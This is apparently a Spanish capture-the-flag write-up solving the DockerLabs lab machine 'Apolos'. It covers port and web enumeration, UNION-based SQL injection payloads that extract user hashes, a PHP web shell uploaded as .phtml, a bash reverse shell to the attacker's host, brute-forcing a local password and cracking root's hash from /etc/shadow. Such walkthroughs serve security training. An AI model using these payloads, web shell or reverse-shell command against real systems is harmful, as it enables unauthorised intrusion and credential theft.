> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/medium/apolos.md).

# Apolos

## Box info

<figure><img src="/files/ihuwp54T46OkiVfBT8pA" alt=""><figcaption></figcaption></figure>

***

## Introducción

Este writeup documenta la resolución de la máquina **Apolos** de la plataforma **DockerLabs**.

Esta máquina presenta dos vulnerabilidades web que permiten comprometer el acceso al sistema.

Una vez dentro, se logra obtener acceso al usuario no privilegiado mediante fuerza bruta sobre su contraseña. Desde este usuario se consigue escalar privilegios aprovechando que este tenía configurados grupos privilegiados que no debería tener, lo que permite leer el archivo `/etc/shadow`, donde la contraseña del usuario `root` resultó ser lo suficientemente débil como para ser **crackeada**.

***

### Objetivo del reto

* Reconocimiento web
* Análisis de vulnerabilidades y explotación web
* Acceso inicial al sistema
* Escalada de privilegios hasta el usuario root

### Habilidades y técnicas evaluadas

* Enumeración de servicios
* Enumeración web
* Análisis de vulnerabilidades web
* SQL Injection basado en UNION (UNION-based SQLi)
* Abuso de subida de archivos (File Upload Abuse)
* Fuerza bruta sobre usuario no privilegiado
* Crackeo de contraseña hasheada del archivo shadow

***

## Reconocimiento

### Escaneo de puertos con nmap

Se realiza un escaneo de puertos con `nmap`:

```bash
nmap -p- -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2 -oG allPorts
```

| Flag              | Descripción                 |
| ----------------- | --------------------------- |
| `-p-`             | Escanea todos los puertos   |
| `-sS`             | Escaneo SYN (stealth)       |
| `--min-rate 5000` | Acelera el escaneo          |
| `-Pn`             | Omite el ping previo        |
| `-n`              | Evita resolución DNS        |
| `-oG`             | Guarda en formato grepeable |

Puerto descubierto: **80/tcp (HTTP)**

Se lanza un segundo escaneo más exhaustivo sobre el puerto encontrado:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

| Flag  | Descripción                |
| ----- | -------------------------- |
| `-sC` | Scripts por defecto de NSE |
| `-sV` | Detección de versiones     |
| `-oN` | Guarda en formato normal   |

No se detectan vulnerabilidades ni configuraciones inseguras destacables.

A continuación se adjunta el resultado del escaneo.

<figure><img src="/files/9x1yZ0gST88GsT9Bkvch" alt=""><figcaption></figcaption></figure>

***

### Análisis servicio web

La página web presenta una tienda online de productos **Apple**, donde te puedes loguear en el apartado de `Cuenta` y puedes buscar productos **disponibles**.

<figure><img src="/files/a95EGCzuTVGVmrR7pM0m" alt="" width="563"><figcaption><p>Imagen página principal</p></figcaption></figure>

### Enumeración de recursos web

Para la enumeración de recursos web, se emplea la herramienta `gobuster` con el siguiente comando:

```bash
gobuster dir -u http://<ip>/ -w <wordlist.txt> -x php,html,js,txt -k -r
```

Resultado de la enumeración de recursos web:

```bash
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 5013]
img                  (Status: 200) [Size: 1971]
login.php            (Status: 200) [Size: 1619]
register.php         (Status: 200) [Size: 1607]
profile.php          (Status: 200) [Size: 1619]
uploads              (Status: 200) [Size: 741]
logout.php           (Status: 200) [Size: 1619]
vendor               (Status: 200) [Size: 1528]
mycart.php           (Status: 200) [Size: 1619]
server-status        (Status: 403) [Size: 275]
profile2.php         (Status: 200) [Size: 1619]
Progress: 1102785 / 1102785 (100.00%)
===============================================================
Finished
===============================================================
```

De los resultados obtenidos destacan los directorios `uploads` y `vendor`, que podrían contener archivos subidos o librerías expuestas, y el fichero `register.php`, que nos permite registrarnos en la aplicación.

Registramos un usuario en `register.php` :

```
http://172.17.0.2/register.php
```

<figure><img src="/files/niImlTNZXgF15dGutHlo" alt=""><figcaption></figcaption></figure>

Una vez registrado el usuario, iniciamos sesión con este en la siguiente url:

```
http://172.17.0.2/login.php
```

Dentro del login se observan distintos lugares accesibles, editar perfil(que si le clicamos veremos que no carga y nos devuelve un error 404 ), comprar ahora, mi carrito.

<figure><img src="/files/qCuMQhAWKLpWpCAiYO8n" alt=""><figcaption><p>Captura de pantalla de profile.php</p></figcaption></figure>

Si le damos a mi `carrito` o `comprar a hora` veremos que nos hará una redirección al recurso `mycard.php`:

<div align="left"><figure><img src="/files/fwIBaJK7MfQiVXyzNh6C" alt="" width="563"><figcaption></figcaption></figure></div>

Este recurso muestra diferentes productos de los cuales puedes buscar en `buscar productos`.

***

## SQL Injection Union-Based

Se analiza si el campo de búsqueda de productos es vulnerable a SQL Injection.

Introduciendo una comilla simple `'` el servidor no devuelve error ni productos.

```
'
```

<figure><img src="/files/TnlHPngNo54sd72HMEb5" alt=""><figcaption></figcaption></figure>

Con el payload `' and 1=1-- -` se obtienen todos los productos, mientras que `' and 1=2-- -` no devuelve ninguno, confirmando que el campo es vulnerable a SQL Injection booleana.

Resultados con 1=1 y con 1=2:

<div align="left"><figure><img src="/files/iUU5FqCOk4R3RFFHp7pU" alt="" width="563"><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/DelQQx3hfHaPQy7HdkZd" alt="" width="563"><figcaption></figcaption></figure></div>

Para determinar el número de columnas se prueba `' order by N-- -` donde N es un digito númerico, incrementando N hasta que con 6 la web devuelve error, confirmando **5 columnas**. Se verifica que todas son imprimibles con `' union select 1,2,3,4,5-- -`.

Resultado de impresiones union con digitos/carácteres y nulos:

<figure><img src="/files/XacwusN6wgD8sbeniB01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/K59utiPyrdVaj9CAHbSE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4opMgySldrvELCjkYYpw" alt=""><figcaption></figcaption></figure>

Con esto, se enumeran bases de datos, tablas, columnas y finalmente los datos de usuarios con los siguientes payloads.

***

### Extración de datos

* Enumeramos bases de datos:

```bash
' union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata-- - 
```

* Enumeramos tablas de la base de datos apple\_store

```bash
' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema='apple_store'-- -
```

* Enumeramos columnas de la tabla users de la base de datos apple\_store

```bash
' union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema='apple_store' and table_name=''-- -
```

* Extraemos los datos de la tabla users

```bash
' union select 1,2,3,group_concat(username,':', password),5 from apple_store.users-- -
```

Finalmente, se extrae la siguiente información de los usuarios registrados en la web.

Los hashes se crackean con [CrackStation](https://crackstation.net/), obteniendo:

| Usuario  | Password\_Hash                           | Password        |
| -------- | ---------------------------------------- | --------------- |
| luisillo | 761bb015d7254610f89d9a7b6b152f1df2027e0a | mundodecaramelo |
| admin    | 7f73ae7a9823a66efcddd10445804f7d124cd8b0 | 0844575632      |
| test     | a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 | test            |
| testing  | dc724af18fbdd4e59189f5fe768a5f8311527050 | testing         |

## Acceso web como el usuario admin

Se procede acceder al panel de login como el usuario admin, con las credenciales extraídas.

&#x20;El login con el usuario admin muestra una sección nueva llamada `Sección de Administración`:

<figure><img src="/files/Pei8PgIsCe3zpMs2ieDN" alt=""><figcaption></figcaption></figure>

Al acceder vemos información de usuarios registrados, productos, pedidos pendientes y pedidos recientes, tambine hay un indiceno deja clickar mucha cosa, solo nos deja acceder a configuración:

<figure><img src="/files/ha30xnaH56WvDQEKdyPs" alt=""><figcaption></figcaption></figure>

Esto nos redirige a otra página .php llamada adm\_configuration.php, donde nos deja subir un archivo al servidor.

<figure><img src="/files/35MMaOZ30szkHr14yfxs" alt=""><figcaption></figcaption></figure>

***

## File Upload Abuse to RCE

Se intercepta la petición de subida de archivo con `Burpsuite` para analizar qué extensiones acepta el servidor.

Comenzamos verificando que la subida funciona correctamente con un archivo `.txt`:

<figure><img src="/files/vVDN0Hb0v0gSf3O5YIqn" alt=""><figcaption></figcaption></figure>

La respuesta del servidor nos dice que `Archivo subido con éxito` :

<figure><img src="/files/4tKbFUF2OGFznf0MaOH1" alt=""><figcaption></figcaption></figure>

El servidor responde con `Archivo subido con éxito`. A continuación se prueban distintas extensiones con el objetivo de subir un archivo que el servidor interprete como PHP.

El payload utilizado es el siguiente:

```bash
<?php
  system($_GET['cmd']);
?>
```

Extensiones a probar:

<figure><img src="/files/iu36wmgdtvxpZznISl9p" alt=""><figcaption></figcaption></figure>

Tras probar las diferentes extensiones, se detecta que `.phtml` es aceptada por el servidor sin restricciones.

Respuesta del servidor:

<figure><img src="/files/ULU5Fyl0WZ1GTwxF9Xug" alt=""><figcaption></figcaption></figure>

### RCE

Con el archivo `.phtml` subido, se accede a la ruta `http://172.17.0.2/uploads/` donde se puede ver el archivo alojado en el servidor. Se verifica la ejecución de comandos a través del parámetro `cmd`:

```bash
http://172.17.0.2/uploads/cmd.phtml?cmd=id
```

Resultado:

<figure><img src="/files/A6px9b8YBhsrqwalad8Z" alt=""><figcaption></figcaption></figure>

Confirmada la ejecución remota de comandos, se procede a enviarse una reverse shell al equipo atacante.

***

## Reverse Shell

Se envía la reverse shell directamente desde el parámetro `cmd` en la URL, poniendo el listener en escucha con `netcat` por el puerto elegido:

```bash
nc -lvnp 4444
```

Se ejecuta la reverse shell a través del parámetro `cmd`:

```bash
http://172.17.0.2/uploads/cmd.phtml?cmd=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261"
```

<figure><img src="/files/uf1MspKg2R5VZAQRXM36" alt=""><figcaption></figcaption></figure>

Se obtiene conexión como el usuario `www-data` y se hace un `Tratamiento de la TTY` para tener mejor control de la consola.

***

{% hint style="info" %}
Durante la **enumeración** del sistema no se identifican vías directas de acceso o escalada de privilegios, por lo que se procede a realizar un ataque de fuerza bruta sobre la contraseña de los usuarios con acceso a shell mediante un script en bash.
{% endhint %}

## **Fuerza bruta sobre el usuario luisillo\_o**

Después de un rato, el script encuentra que la contraseña del usuario luisillo\_o es la siguiente:

```bash
bash bruteforce.sh rockyou.txt usuarios.txt 50
[*] Probando contraseña 6258/14344391: 19831983                      

[+] Contraseña encontrada para luisillo_o: 19831983
```

### Acceso al usuario luisillo\_o

Al acceder como `luisillo_o` y ejecutar `id`, se observa que el usuario pertenece al grupo `shadow`. Se buscan los ficheros del sistema pertenecientes a dicho grupo

```bash
find / -group shadow 2>/dev/null
/etc/gshadow
/etc/shadow-
/etc/shadow
/etc/gshadow-
/usr/sbin/unix_chkpwd
/usr/sbin/pam_extrausers_chkpwd
/usr/bin/chage
/usr/bin/expiry
```

Entre los resultados destaca `/etc/shadow`, lo que nos permite leerlo directamente al pertenecer a ese grupo.

El contenido del archivo `/etc/shadow`, contiene el hash de la contraseña del usuario `root` , con lol que se copia el hash y se intenta crackear empleando la herramienta john.

## Cracking hash user root

```bash
john -w:/usr/share/wordlists/rockyou.txt hash_root
```

Resultado:

<figure><img src="/files/xMFpuKJPr4w3tCgjguJe" alt=""><figcaption></figcaption></figure>

Se obtiene la contraseña de `root` y se accede al sistema con máximos privilegios:

<figure><img src="/files/Ni4trDqWeaHUbC9mYDnS" alt=""><figcaption></figcaption></figure>

***

## Conclusión

El acceso y compromiso total del sistema se logra mediante el encadenamiento de las siguientes vulnerabilidades:

* **UNION-based SQL Injection**, que permite extraer información sensible de la base de datos directamente desde la aplicación web.
* **File Upload Abuse**, explotando una validación insuficiente en la subida de archivos para alojar un fichero `.phtml` con código PHP malicioso.
* **Remote Code Execution (RCE)**, accediendo al archivo subido y ejecutando comandos arbitrarios en el servidor a través del parámetro `cmd`.
* **Fuerza bruta de credenciales**, obteniendo la contraseña del usuario `luisillo_o` mediante un script personalizado en bash.
* **Escalada de privilegios mediante abuso de grupo shadow**, aprovechando que el usuario pertenecía al grupo `shadow` para leer `/etc/shadow` y crackear el hash de `root`.

Esta cadena de explotación demuestra cómo múltiples vulnerabilidades de impacto medio pueden combinarse para comprometer completamente el sistema.
